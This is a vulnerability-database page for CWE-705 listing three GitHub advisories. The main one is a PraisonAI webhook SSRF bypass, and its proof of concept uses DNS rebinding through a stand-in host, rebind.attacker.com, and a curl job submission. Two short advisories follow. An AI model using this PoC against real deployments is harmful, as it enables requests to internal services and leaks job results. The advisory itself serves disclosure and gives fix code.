CWE-705
Allowed-with-ReviewIncorrect Control Flow Scoping
Abstraction: Class · Status: Incomplete
The product does not properly return control flow to the proper location after it has completed a task or detected an unusual condition.
13 vulnerabilities reference this CWE, most recent first.
GHSA-RG5Q-PP8P-F7JM
Vulnerability from github – Published: 2026-08-25 14:59 – Updated: 2026-08-25 14:59Summary
praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url() validates webhook
URLs by resolving the hostname and checking whether the IP is private. When DNS
resolution fails (socket.gaierror), the validator silently passes the URL via
except socket.gaierror: pass. Additionally, even when DNS succeeds at validation time,
the webhook is fired much later by JobExecutor._send_webhook(), which calls
httpx.AsyncClient().post(job.webhook_url) — performing a fresh, independent DNS
lookup at execution time. Together, these flaws create a TOCTOU SSRF window.
An attacker can:
1. Submit a job with webhook_url pointing to a hostname that currently does not
resolve (NXDOMAIN) → validation passes (gaierror → pass)
2. Update DNS to point that hostname to 127.0.0.1 or another private IP
3. When the job completes, _send_webhook() resolves the hostname fresh → POST sent
to the internal IP
Details
Flaw 1 — Fail-open on DNS error (jobs/models.py lines 58-66):
@field_validator("webhook_url")
@classmethod
def validate_webhook_url(cls, v):
...
try:
ip = socket.gethostbyname(hostname)
ip_obj = ipaddress.ip_address(ip)
if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
raise ValueError("Webhook URL resolves to private network address")
except socket.gaierror:
pass # <-- FAIL-OPEN: DNS failure allows the URL without restriction
return v
When socket.gethostbyname(hostname) raises socket.gaierror (NXDOMAIN, timeout,
network error during validation), execution flows to pass and the URL is accepted.
Flaw 2 — Fresh DNS at execution time (jobs/executor.py lines 376-406):
async def _send_webhook(self, job: Job):
async with httpx.AsyncClient(timeout=30.0) as client:
response = await client.post(
job.webhook_url, # <-- fresh DNS resolution here, not cached from validation
json=payload,
...
)
httpx.AsyncClient creates a new connection per call. DNS is resolved at execution time,
completely independent of the validation-time resolution. The gap between submission
and execution can be minutes to hours (depending on job queue depth and timeout settings).
Combined TOCTOU window:
T=0 Attacker submits: webhook_url = "http://rebind.attacker.com/cb"
Validation: socket.gethostbyname("rebind.attacker.com") → gaierror (NXDOMAIN)
Result: except socket.gaierror: pass → ACCEPTED
T=5 Attacker updates DNS: rebind.attacker.com A → 127.0.0.1 (TTL=60)
T=60 Job completes. _send_webhook() fires:
httpx.post("http://rebind.attacker.com/cb")
DNS: rebind.attacker.com → 127.0.0.1
POST reaches 127.0.0.1 → SSRF
Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm: That CVE covered "no URL
validation at all" on the webhook_url parameter, patched in v4.5.126 by adding
validate_webhook_url() to jobs/models.py. This finding targets the validation code
itself — the except socket.gaierror: pass fail-open introduced in that patch.
CVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.
PoC
Requirements: A domain you control with configurable DNS TTL, access to the jobs API
Step 1 — Confirm fail-open behaviour (local code verification):
from praisonai.jobs.models import JobSubmitRequest
from unittest.mock import patch
import socket
# Simulate: hostname temporarily does not resolve
with patch("socket.gethostbyname", side_effect=socket.gaierror("NXDOMAIN")):
req = JobSubmitRequest(
prompt="hello",
webhook_url="http://rebind.attacker.com/callback"
)
# No exception raised — URL accepted despite NXDOMAIN
print("Webhook accepted:", req.webhook_url)
Expected: Webhook accepted: http://rebind.attacker.com/callback
Step 2 — Confirm fresh DNS at execution time:
# From jobs/executor.py _send_webhook():
# httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator)
# Standard httpx behaviour: each .post() resolves DNS independently
import httpx, asyncio
async def demo():
# httpx resolves DNS here, not using any cached result from validation
async with httpx.AsyncClient() as client:
# This call resolves "rebind.attacker.com" fresh at runtime
# If DNS changed since validation, it hits the new IP
try:
r = await client.post("http://rebind.attacker.com/callback", json={})
except Exception as e:
print(f"Connection: {e}")
asyncio.run(demo())
Step 3 — Full attack scenario:
# 1. Set up domain with short TTL, currently returning NXDOMAIN
# rebind.attacker.com → (no record, TTL=60)
# 2. Submit job via API
curl -X POST http://praisonai-server:8000/jobs \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"prompt": "Calculate 2+2",
"webhook_url": "http://rebind.attacker.com/callback"
}'
# Response: {"job_id": "job_abc123", "status": "queued", ...}
# 3. After 5 seconds (before job finishes), add DNS record:
# rebind.attacker.com A 127.0.0.1 TTL=60
# 4. Wait for job to complete (seconds to minutes).
# _send_webhook() fires and resolves rebind.attacker.com → 127.0.0.1
# POST request hits 127.0.0.1 (internal service)
# If 127.0.0.1:80 is running a service, it receives:
# POST /callback HTTP/1.1
# Content-Type: application/json
# {"job_id": "job_abc123", "status": "succeeded", "result": "4", ...}
Immediate variant (no DNS timing required):
If DNS resolution fails transiently (rate limit, network blip, temporary outage)
during validation, the webhook is accepted unconditionally even for a URL that would
normally resolve to a private IP. No attacker control over DNS timing is required —
the attacker simply retries submission during moments when their DNS server is unreachable
(e.g., their DNS server is down, causing gaierror).
Impact
What kind of vulnerability: Server-Side Request Forgery via TOCTOU DNS rebinding and validation fail-open.
Who is impacted: Any deployment exposing the PraisonAI Jobs API (POST /jobs) to
external or lower-trusted callers. This includes:
- Multi-tenant deployments where workspace members submit jobs
- API integrations (n8n, Zapier-style workflows) that provide
webhook_urlfields
Post-exploit capabilities: - HTTP POST to any internal service with JSON payload (job result data) - If an internal service interprets the POST body as commands (Jenkins webhook, Consul KV, etc.), this achieves code execution on internal infrastructure - Exfiltration of job results (which may include agent reasoning, data retrieved during the task, discovered credentials) to an attacker-controlled endpoint
---
## Remediation Suggestion (for maintainers)
**Fix 1 — Change `gaierror` handler to fail-closed (`jobs/models.py` line 63):**
```python
# VULNERABLE
except socket.gaierror:
pass
# FIXED
except socket.gaierror:
raise ValueError(
"Webhook URL hostname could not be resolved. "
"Ensure the hostname is valid and publicly reachable."
)
Fix 2 — Re-validate at execution time (jobs/executor.py before _send_webhook):
async def _send_webhook(self, job: Job):
if not job.webhook_url:
return
# Re-validate to prevent DNS rebinding
try:
from urllib.parse import urlparse
import socket, ipaddress
hostname = urlparse(job.webhook_url).hostname
ip = socket.gethostbyname(hostname)
if ipaddress.ip_address(ip).is_private:
logger.warning(f"Webhook SSRF blocked at execution time: {job.webhook_url}")
return
except Exception as e:
logger.warning(f"Webhook validation failed at execution: {e}")
return
# ... proceed with httpx.post
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "PraisonAI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.58"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55537"
],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-705",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T14:59:44Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url()` validates webhook\nURLs by resolving the hostname and checking whether the IP is private. When DNS\nresolution fails (`socket.gaierror`), the validator **silently passes** the URL via\n`except socket.gaierror: pass`. Additionally, even when DNS succeeds at validation time,\nthe webhook is fired much later by `JobExecutor._send_webhook()`, which calls\n`httpx.AsyncClient().post(job.webhook_url)` \u2014 performing a **fresh, independent DNS\nlookup** at execution time. Together, these flaws create a TOCTOU SSRF window.\n\nAn attacker can:\n1. Submit a job with `webhook_url` pointing to a hostname that currently does not\n resolve (NXDOMAIN) \u2192 validation passes (`gaierror` \u2192 `pass`)\n2. Update DNS to point that hostname to `127.0.0.1` or another private IP\n3. When the job completes, `_send_webhook()` resolves the hostname fresh \u2192 POST sent\n to the internal IP\n\n### Details\n\n**Flaw 1 \u2014 Fail-open on DNS error (`jobs/models.py` lines 58-66):**\n\n```python\n@field_validator(\"webhook_url\")\n@classmethod\ndef validate_webhook_url(cls, v):\n ...\n try:\n ip = socket.gethostbyname(hostname)\n ip_obj = ipaddress.ip_address(ip)\n if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:\n raise ValueError(\"Webhook URL resolves to private network address\")\n except socket.gaierror:\n pass # \u003c-- FAIL-OPEN: DNS failure allows the URL without restriction\n return v\n```\n\nWhen `socket.gethostbyname(hostname)` raises `socket.gaierror` (NXDOMAIN, timeout,\nnetwork error during validation), execution flows to `pass` and the URL is accepted.\n\n**Flaw 2 \u2014 Fresh DNS at execution time (`jobs/executor.py` lines 376-406):**\n\n```python\nasync def _send_webhook(self, job: Job):\n async with httpx.AsyncClient(timeout=30.0) as client:\n response = await client.post(\n job.webhook_url, # \u003c-- fresh DNS resolution here, not cached from validation\n json=payload,\n ...\n )\n```\n\n`httpx.AsyncClient` creates a new connection per call. DNS is resolved at execution time,\ncompletely independent of the validation-time resolution. The gap between submission\nand execution can be minutes to hours (depending on job queue depth and timeout settings).\n\n**Combined TOCTOU window:**\n\n```\nT=0 Attacker submits: webhook_url = \"http://rebind.attacker.com/cb\"\n Validation: socket.gethostbyname(\"rebind.attacker.com\") \u2192 gaierror (NXDOMAIN)\n Result: except socket.gaierror: pass \u2192 ACCEPTED\n\nT=5 Attacker updates DNS: rebind.attacker.com A \u2192 127.0.0.1 (TTL=60)\n\nT=60 Job completes. _send_webhook() fires:\n httpx.post(\"http://rebind.attacker.com/cb\")\n DNS: rebind.attacker.com \u2192 127.0.0.1\n POST reaches 127.0.0.1 \u2192 SSRF\n```\n\n**Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm:** That CVE covered \"no URL\nvalidation at all\" on the webhook_url parameter, patched in v4.5.126 by adding\n`validate_webhook_url()` to `jobs/models.py`. This finding targets the **validation code\nitself** \u2014 the `except socket.gaierror: pass` fail-open introduced in that patch.\nCVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.\n\n### PoC\n\n**Requirements:** A domain you control with configurable DNS TTL, access to the jobs API\n\n**Step 1 \u2014 Confirm fail-open behaviour (local code verification):**\n\n```python\nfrom praisonai.jobs.models import JobSubmitRequest\nfrom unittest.mock import patch\nimport socket\n\n# Simulate: hostname temporarily does not resolve\nwith patch(\"socket.gethostbyname\", side_effect=socket.gaierror(\"NXDOMAIN\")):\n req = JobSubmitRequest(\n prompt=\"hello\",\n webhook_url=\"http://rebind.attacker.com/callback\"\n )\n # No exception raised \u2014 URL accepted despite NXDOMAIN\n print(\"Webhook accepted:\", req.webhook_url)\n```\n\nExpected: `Webhook accepted: http://rebind.attacker.com/callback`\n\n**Step 2 \u2014 Confirm fresh DNS at execution time:**\n\n```python\n# From jobs/executor.py _send_webhook():\n# httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator)\n# Standard httpx behaviour: each .post() resolves DNS independently\n\nimport httpx, asyncio\n\nasync def demo():\n # httpx resolves DNS here, not using any cached result from validation\n async with httpx.AsyncClient() as client:\n # This call resolves \"rebind.attacker.com\" fresh at runtime\n # If DNS changed since validation, it hits the new IP\n try:\n r = await client.post(\"http://rebind.attacker.com/callback\", json={})\n except Exception as e:\n print(f\"Connection: {e}\")\n\nasyncio.run(demo())\n```\n\n**Step 3 \u2014 Full attack scenario:**\n\n```bash\n# 1. Set up domain with short TTL, currently returning NXDOMAIN\n# rebind.attacker.com \u2192 (no record, TTL=60)\n\n# 2. Submit job via API\ncurl -X POST http://praisonai-server:8000/jobs \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"prompt\": \"Calculate 2+2\",\n \"webhook_url\": \"http://rebind.attacker.com/callback\"\n }\u0027\n# Response: {\"job_id\": \"job_abc123\", \"status\": \"queued\", ...}\n\n# 3. After 5 seconds (before job finishes), add DNS record:\n# rebind.attacker.com A 127.0.0.1 TTL=60\n\n# 4. Wait for job to complete (seconds to minutes).\n# _send_webhook() fires and resolves rebind.attacker.com \u2192 127.0.0.1\n# POST request hits 127.0.0.1 (internal service)\n\n# If 127.0.0.1:80 is running a service, it receives:\n# POST /callback HTTP/1.1\n# Content-Type: application/json\n# {\"job_id\": \"job_abc123\", \"status\": \"succeeded\", \"result\": \"4\", ...}\n```\n\n**Immediate variant (no DNS timing required):**\n\nIf DNS resolution fails transiently (rate limit, network blip, temporary outage)\nduring validation, the webhook is accepted unconditionally even for a URL that would\nnormally resolve to a private IP. No attacker control over DNS timing is required \u2014\nthe attacker simply retries submission during moments when their DNS server is unreachable\n(e.g., their DNS server is down, causing `gaierror`).\n\n### Impact\n\n**What kind of vulnerability:** Server-Side Request Forgery via TOCTOU DNS rebinding\nand validation fail-open.\n\n**Who is impacted:** Any deployment exposing the PraisonAI Jobs API (`POST /jobs`) to\nexternal or lower-trusted callers. This includes:\n\n- **Multi-tenant deployments** where workspace members submit jobs\n- **API integrations** (n8n, Zapier-style workflows) that provide `webhook_url` fields\n\n**Post-exploit capabilities:**\n- HTTP POST to any internal service with JSON payload (job result data)\n- If an internal service interprets the POST body as commands (Jenkins webhook,\n Consul KV, etc.), this achieves code execution on internal infrastructure\n- Exfiltration of job results (which may include agent reasoning, data retrieved\n during the task, discovered credentials) to an attacker-controlled endpoint\n```\n\n---\n\n## Remediation Suggestion (for maintainers)\n\n**Fix 1 \u2014 Change `gaierror` handler to fail-closed (`jobs/models.py` line 63):**\n\n```python\n# VULNERABLE\nexcept socket.gaierror:\n pass\n\n# FIXED\nexcept socket.gaierror:\n raise ValueError(\n \"Webhook URL hostname could not be resolved. \"\n \"Ensure the hostname is valid and publicly reachable.\"\n )\n```\n\n**Fix 2 \u2014 Re-validate at execution time (`jobs/executor.py` before `_send_webhook`):**\n\n```python\nasync def _send_webhook(self, job: Job):\n if not job.webhook_url:\n return\n # Re-validate to prevent DNS rebinding\n try:\n from urllib.parse import urlparse\n import socket, ipaddress\n hostname = urlparse(job.webhook_url).hostname\n ip = socket.gethostbyname(hostname)\n if ipaddress.ip_address(ip).is_private:\n logger.warning(f\"Webhook SSRF blocked at execution time: {job.webhook_url}\")\n return\n except Exception as e:\n logger.warning(f\"Webhook validation failed at execution: {e}\")\n return\n # ... proceed with httpx.post\n```",
"id": "GHSA-rg5q-pp8p-f7jm",
"modified": "2026-08-25T14:59:44Z",
"published": "2026-08-25T14:59:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rg5q-pp8p-f7jm"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` \u2014 bypass of CVE-2026-40114"
}
GHSA-VPQ2-C234-7XJ6
Vulnerability from github – Published: 2026-03-03 06:31 – Updated: 2026-05-21 16:55Versions of the package @tootallnate/once before 3.0.1 are vulnerable to Incorrect Control Flow Scoping in promise resolving when AbortSignal option is used. The Promise remains in a permanently pending state after the signal is aborted, causing any await or .then() usage to hang indefinitely. This can cause a control-flow leak that can lead to stalled requests, blocked workers, or degraded application availability.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@tootallnate/once"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@tootallnate/once"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-3449"
],
"database_specific": {
"cwe_ids": [
"CWE-705"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-04T20:15:03Z",
"nvd_published_at": "2026-03-03T05:17:25Z",
"severity": "LOW"
},
"details": "Versions of the package @tootallnate/once before 3.0.1 are vulnerable to Incorrect Control Flow Scoping in promise resolving when AbortSignal option is used. The Promise remains in a permanently pending state after the signal is aborted, causing any await or .then() usage to hang indefinitely. This can cause a control-flow leak that can lead to stalled requests, blocked workers, or degraded application availability.",
"id": "GHSA-vpq2-c234-7xj6",
"modified": "2026-05-21T16:55:49Z",
"published": "2026-03-03T06:31:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3449"
},
{
"type": "WEB",
"url": "https://github.com/TooTallNate/once/issues/8"
},
{
"type": "WEB",
"url": "https://github.com/TooTallNate/once/commit/b9f43cc5259bee2952d91ad3cdbd201a82df448a"
},
{
"type": "PACKAGE",
"url": "https://github.com/TooTallNate/once"
},
{
"type": "WEB",
"url": "https://github.com/TooTallNate/once/releases/tag/v2.0.1"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-TOOTALLNATEONCE-15250612"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "@tootallnate/once vulnerable to Incorrect Control Flow Scoping"
}
GHSA-W5VR-8V7Q-W6RV
Vulnerability from github – Published: 2026-08-13 12:31 – Updated: 2026-08-13 12:31baseline-browser-mapping 2.x before 2.11.0 calls process.exit() instead of throwing on invalid or conflicting input parameters, and can trigger immediate process termination, causing denial of service.
{
"affected": [],
"aliases": [
"CVE-2026-45819"
],
"database_specific": {
"cwe_ids": [
"CWE-705"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-13T12:17:23Z",
"severity": "MODERATE"
},
"details": "baseline-browser-mapping 2.x before 2.11.0 calls process.exit() instead of throwing on invalid or conflicting input parameters, and can trigger immediate process termination, causing denial of service.",
"id": "GHSA-w5vr-8v7q-w6rv",
"modified": "2026-08-13T12:31:09Z",
"published": "2026-08-13T12:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45819"
},
{
"type": "WEB",
"url": "https://github.com/web-platform-dx/baseline-browser-mapping/pull/137/changes#diff-7ae45ad102eab3b6d7e7896acd08c427a9b25b346470d7bc6507b6481575d519"
},
{
"type": "WEB",
"url": "https://github.com/web-platform-dx/baseline-browser-mapping/blob/b7881aa61c8a057e24468ab5ee18c5ecedbbf691/src/index.ts#L142"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/baseline-browser-mapping"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:U/V:D/RE:M/U:Amber",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.